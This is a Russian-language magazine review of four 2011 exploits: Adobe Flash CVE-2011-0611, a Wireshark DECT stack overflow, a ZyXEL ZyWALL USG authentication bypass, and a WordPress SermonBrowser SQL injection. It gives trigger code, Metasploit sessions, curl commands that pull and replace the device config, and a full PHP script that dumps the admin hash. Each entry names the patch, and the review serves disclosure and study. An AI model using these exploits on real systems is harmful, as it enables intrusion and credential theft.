Приветствуем тебя, о достопочтимый читатель! В обзоре эксплоитов данном собрали мы для тебя не рецепты яств заморских, не изображения дев нагих, а набор эксплоитов интересных за месяц последний. Так узри же очами своими письмена следующие, и да пребудет с тобой Сила!

 

Уязвимость в Adobe Flash Player 10.2.153.1 SWF

 

CVSSV2

  • 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
 

Brief

  • Дата релиза: 11 апреля 2011
  • Автор: sinn3r
  • CVE id: CVE-2011-0611

Flash Player представляет собой виртуальную машину, на которой выполняется загруженный из интернета код flash-программ. Важный недостаток flash-приложений заключается в недостаточном контроле ошибок, что приводит к частым отказам как самих приложений, так, в некоторых случаях, и всего браузера.

Возможность флешовых приложений нарушать работу всего браузера неоднократно вызывала критику со стороны разработчиков браузеров.

В этот раз мы рассмотрим сбой в Adobe Flash Player, который происходит из-за неправильного использования типа объекта, что позволяет атакующему перезаписать указатель в памяти и в результате добиться исполнения произвольного кода, иначе говоря, перехватить контроль над системой, подверженной данной уязвимости. На данный момент эта уязвимость активно используется для распространения разнообразной малвари: эксплоиты для бага вошли в используемые злоумышленниками сплойтпаки.

Векторы вторжения: Adobe Flash Player, Adobe Reader и Acrobat, Microsoft Word/Excel (включение .wf-файлов в doc- и xls-файлы соответственно). Справедливости ради нужно отметить, что Adobe Reader X в защищенном режиме работы использует sandbox и пресекает исполнение произвольного кода, несмотря на существование уязвимости. Впрочем, это обстоятельство мало что меняет :).

 

Exploit

Уязвимый вызов располагается по адресу 0x100d01f6 в библиотеке Flash10o.ocx (для версии плагина Adobe Flash Player 10.2.153.1). Код ActionScript, позволяющий достигнуть уязвимого места:

Date.prototype.c_fun = SharedObject.prototype.getSize;
Date.prototype.getDay = function ()
{
this.c_fun();
};
var eval(0) = new Date(1.41466385537348e-315);
(eval(0)).getDay();

Дальнейший анализ уязвимости, вызванной вышеприведенным кодом, показывает, что мы имеем очередную неразбериху с типом объекта, произошедшую в SharedObject.prototype.getSize(), когда класс Date расширяется добавлением пользовательской функции, полученной через SharedObject.prototype.getSize. Объект Date инициализируется значением 1.41466385537348e-315, которое при сохранении в памяти преобразуется в 0x11111110, а он, в свою очередь, подходит для реализации техники heap spraying. Когда вызывается пользовательская функция Date.c_fun(), управление передается в SharedObject.prototype.getSize(), в которой происходит некорректная интерпретация передаваемого объекта Date как имеющего тип SharedObject, в результате чего совершается попытка использовать значение, которым был инициализирован объект Date (0x11111110), как указатель на таблицу виртуальных функций. Используя модуль из metasploit, запустим на подверженной уязвимости машине калькулятор:

msf > use exploit/windows/browser/adobe_flashplayer_flash10o
msf exploit(…) > set PAYLOAD windows/exec
PAYLOAD => windows/exec
msf exploit(…) > set CMD calc.exe
CMD => calc.exe
msf exploit(…) > exploit
[] Exploit running as background job.msf exploit(adobe_fl ashplayer_flash10o) >
[
] Using URL: http://0.0.0.0:8080/Jk32OyCPJ0NUR6B
[] Local IP: http://192.168.2.20:8080/Jk32OyCPJ0NUR6B
[
] Server started.

Сервер запущен. Теперь от нас требуется только пройти по предоставленной ссылке (http://192.168.2.20:8080/Jk32OyCPJ0NUR6B) и мы сможем смиренно, затаив дыхание наблюдать за тем, как Internet Explorer превращается в калькулятор…

 

Targets

IE 6/7 на Windows XP SP3 и Windows Vista.

 

Solution

Обновить Adobe Flash Player.

 

Переполнение буфера на стеке в Wireshark <= 1.4.4 PACKET-DECT.C

 

CVSSV2

  • 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
 

Brief

  • Дата релиза: 18 апреля 2011
  • Авторы: Paul Makowski — провел первоначальное исследование, sickness — реализовал POC, corelanc0d3r — создал эксплоит, использующий ROP + модуль для metasploit.
  • CVE id: CVE-2011-1591

Wireshark (ранее Ethereal) — это один из лучших анализаторов сетевого трафика, доступных на сегодняшний момент. Имеет графический пользовательский интерфейс. Функциональность, которую предоставляет Wireshark, очень схожа с возможностями программы tcpdump, однако Wireshark имеет графический пользовательский интерфейс и гораздо так же больше возможностей по сортировке и фильтрации информации.

Программа позволяет пользователю просматривать весь проходящий по сети трафик в режиме реального времени, переводя сетевую карту в неразборчивый режим (promiscuous mode).

Wireshark «знает» структуру самых различных сетевых протоколов и поэтому позволяет разобрать сетевой пакет, отображая значение каждого поля протокола любого уровня.

Поскольку для захвата пакетов используется pcap, существует возможность захвата данных только из тех сетей, которые поддерживаются этой библиотекой. Тем не менее, Wireshark умеет работать с множеством форматов входных данных, соответственно, можно открывать файлы данных, захваченных другими программами, что расширяет возможности захвата.

 

Exploit

Уязвимое место в коде (исходный код wireshark 1.4.1, packetdect.c, строка 1886):

...
/* fill B-Field /
if(pkt_len>DECT_PACKET_INFO_LEN+2)
memcpy((char
)(&(pkt_bfi eld.Data)), (char)(pkt_ptr+8), pkt_len-5-8); // <--- уязвимое место
else
memset((char
)(&(pkt_bfi eld.Data)), 0, 128);
pkt_bfi eld.Length=pkt_len-DECT_PACKET_INFO_LEN-8;
...

pkt_bfield представляет собой структуру типа dect_bfield, описание которой приведем ниже:

struct dect_bfi eld
{
guint8 Data[128];
guint8 Length;
};

Как видно, происходит копирование данных пакета в 128-байтный буфер Data, располагающийся на стеке. Для того чтобы лицезреть уязвимость воочию, нам надо будет сформировать определенным образом pcap-файл и отправить его на нужный интерфейс. Например, этого можно добиться, используя прекрасную вещь под названием scapy:

#!/usr/bin/env python
import sys
from scapy import * wrpcap("test.pcap",Ether(type=0x2323)/("A"*1000))

Запускаем wireshark, заставляем его слушать нужный нам интерфейс и шлем ему привет в виде только что сформированного пакета:

# tcpreplay -i ath0 -t test.pcap

Ровно один пакет — и wireshark с грохотом падает ниц. Ну а теперь, воспользуемся благами цивилизации в виде модуля для metasploit и сформируем эксплоит с классической, полезной нагрузкой в виде запуска калькулятора:

msf exploit(wireshark_packet_dect) > use exploit/windows/fileformat/wireshark_packet_dect
msf exploit(wireshark_packet_dect) > set PAYLOAD windows/exec
PAYLOAD => windows/exec
msf exploit(wireshark_packet_dect) > set CMD calc.exe
CMD => calc.exe
msf exploit(wireshark_packet_dect) > exploit
[] Creating 'passwords.pcap' fi le ...
[
] Preparing payload
[] Writing payload to fi le, 1554 bytes
[
] Generated output fi le /opt/framework-3.6.0/msf3/data/exploits/passwords.pcap

Запускаем wireshark, ставим прослушку интерфейса. Отправляем вредоносный пакет:

# tcpreplay -i ath0 -t /opt/framework-3.6.0/msf3/data/exploits/passwords.pcap

Наблюдаем калькулятор 🙂

 

Targets

  • Win32 (Обход защитных механизмов DEP & ASLR).
 

Solution

Обновить Wireshark.

 

Множественные уязвимости в Zyxel Zywall USG

 

CVSSV2

  • 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
 

Brief

Серия железок ZyWALL USG — новое комплексное решение от ZyXEL для обеспечения информационной безопасности и управления трафиком, включая функциональную настраиваемую защиту от спама, контроль полосы пропускания для разнообразных объектов cети, предотвращение вторжений и безопасность удаленных подключений при помощи виртуальных частных сетей. В начале мая немецкая группа RedTeam Pentesting опубликовала отчет о двух уязвимостях в этих устройствах, найденных ими в ходе одного из пентестов: обход аутентификации и повышение привилегий. В результате эксплуатации первой уязвимости неаутентифицированные пользователи могут скачивать и загружать конфигурационные файлы в устройства, которые применяются автоматически. В результате использования второго бага пользователь с ограниченными правами может стать админом и менять через веб-интерфейс любые настройки.

 

Exploit

Обновления прошивок для устройств ZyXEL ZyWALL USG представляют собой обычный zip-архив, в котором также находятся еще два зашифрованных zip-архива с основной прошивкой. Например, архив с прошивкой 2.21(BQD.2) для ZyWALL USG 20 («ZyWALL USG 20_2.21(BDQ.2)C0.zip») содержит следующие файлы:

  • 221BDQ2C0.bin
  • 221BDQ2C0.conf (7354 bytes)
  • 221BDQ2C0.db
  • 221BDQ2C0.pdf
  • 221BDQ2C0.ri
  • firmware.xml

Файлы 221BDQ2C0.bin и 221BDQ2C0.db, несмотря на указанное расширение, являются зашифрованными zip-архивами (кстати, в анализе типа файла всем линуксоидам может помочь стандартная утилита /usr/bin/file). Можно просмотреть список файлов в этих архивах:

$ unzip -l 221BDQ2C0.bin
Archive: 221BDQ2C0.bin
Name
---compress.img
db/
db/etc/
db/etc/zyxel/
db/etc/zyxel/ftp/
db/etc/zyxel/ftp/conf/
db/etc/zyxel/ftp/conf/htm-default.conf
db/etc/zyxel/ftp/conf/system-default.conf (7354 bytes)
...
filechecksum
filelist
fwversion
kernelchecksum
kernelusg20.bin
wtp_image/
------24 files
$ unzip -l 221BDQ2C0.db
Archive: 221BDQ2C0.db
Name
---db_remove_lst
etc/
...
etc/zyxel/
etc/zyxel/ftp/
etc/zyxel/ftp/.dha/
etc/zyxel/ftp/.dha/dha_idp/
etc/zyxel/ftp/cert/
etc/zyxel/ftp/cert/trusted/
etc/zyxel/ftp/conf/
etc/zyxel/ftp/conf/htm-default.conf
etc/zyxel/ftp/conf/system-default.conf (7354 bytes)
...
filelist
------31 files

Было обнаружено, что размер файла 221BDQ2C0.conf из главного архива в точности совпадает с размером файла system-default.conf из зашифрованных архивов. Такой факт не может не намекать на успешное применение известной из области криптоанализа атаки с известным открытым текстом, что и было проделано с помощью следующих утилит:

  • PkCrack от Питера Конрада;
  • Elcomsoft Advanced Archive Password Recovery от отечественного производителя.

После этого файл с исходной файловой системой устройства compress.img раскрывается с помощью unsquashfs. Устройства ZyWALL USG управляются удаленно с помощью веб-интерфейса на сервере Apache. Чтобы войти туда, необходимо пройти аутентификацию. Модуль «mod_auth_zyxel.so» реализует этот функционал и настраивается в файле /etc/service_conf/httpd.conf, который можно извлечь из compress.img. В этом конфиге есть директива «AuthZyxelSkipPattern», которая отменяет аутентификацию для некоторых точек:

AuthZyxelSkipPattern /images/ /weblogin.cgi /I18N.js /language

Админский интерфейс состоит из нескольких CGI-скриптов. Например, проследуя по следующей ссылке после логина под админом, можно получить конфигурационный файл:

https://192.168.0.1/cgi-bin/exportcgi? category=config&arg0=startup-config.conf

Сервер Apache в стандартной конфигурации позволяет добавлять произвольные пути к CGI-скриптам. Таким образом, добавив строку «/images/» в вышестоящую ссылку, скрипт «export-cgi» все равно отработает и выдаст конфиг:

https://192.168.0.1/cgi-bin/export-cgi/images/? category=config&arg0=startup-config.conf

А так как строка «/images/» присутствует в директиве AuthZyxelSkipPattern, то эту ссылку можно открывать даже не залогинившись в админской панели. Полученный конфиг содержит чувствительные данные, такие как хеши пользователей и правила файрвола.

Кроме того, в административном интерфейсе есть скрипт под названием «file_upload-cgi», который, как легко догадаться, позволяет загружать файлы. Применяя аналогичный финт со строкой «/ images/», можно загружать конфиги без всякой аутентификации. К тому же, если загружаемому файлу назначить имя «startup-config. conf», то настройки, указанные в нем, применятся незамедлительно. В него можно, например, добавить второго админа с известным нам паролем.

Итак, две следующие команды демонстрируют, как можно скачать/ закачать искомый конфиг и получить полный доступ к устройству:

$ curl --silent -o startup-confi g.conf "https://192.168.0.1/cgi-bin/export-cgi/images/?category=confi g&arg0=startupconfig.conf"
$ curl --silent -F ext-comp-1121=50 -F fi le_type=confi g -F nv=1 -F "fi le_path=@startup-confi g.conf;fi lename=startupconfig.conf" https://192.168.0.1/cgi-bin/fi le_upload-cgi/images/

 

Targets

Все прошивки ZyXEL USG, выпущенные до 25 апреля 2011 года, являются уязвимыми.

 

Solution

Скачай и установи обновленную прошивку, датированную 25 апреля, либо отключи административный веб-интерфейс.

 

SQL инъекция и XSS в WordPress Sermonbrowser Plugin

 

CVSSV2

  • 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
 

Brief

В конце апреля некий Ma3sTr0-Dz опубликовал очередной эксплоит под очередной плагин для ВордПресса. Уязвимости достаточно тривиальные — это SQL инъекция и межсайтовый скриптинг. В результате эксплуатации первой можно получить хеш админа, в результате второй — куки пользователей (в том числе и админа).

 

Exploit

Эксплоит написан на php, при его запуске в качестве параметра нужно всего лишь указать ссылку на уязвимый сайт, дальше скрипт все сделает сам. Вот его код (исключительно для ознакомления):

<?php
$t=array(
"db_usr"=>"user()",
"db_ver"=>"version()",
"db_nam"=>"database()",
"usr_nm"=>"user_login",
"passwd"=>"user_pass"
);
function text2hex($string) {
$hex = '';
$len = strlen($string) ;
for ($i = 0; $i < $len; $i++) {
$hex .= str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT);
}
return $hex;
}
foreach($t as $r=>$y){
$x=@fi le_get_contents($argv[1]."?sermon_id=-1//UnIoN//SeLeCt/**/group_concat(0x".text2hex("<$r>"). ",$y,0x".text2hex("<$r>"). "),2+from+wp_users+where+ID=1--"
);
preg_match_all("{<$r>(.*?)<$r>}i",$x, $dz);
echo $u = ($dz[1][0]) ? "[-] $r : ".$dz[1][0]."n" : "[-] $r : Failed !n";
}
?>

 

Targets

  • WordPress SermonBrowser Plugin <= 0.43
 

Solution

Нужно обновить плагин до версии 0.44.1 или более поздней.

Оставить мнение

Check Also

Плохая логика. Выполняем произвольный код в популярном сервере приложений Oracle WebLogic

Новая уязвимость в Oracle WebLogic позволяет выполнять произвольные команды на целевой сис…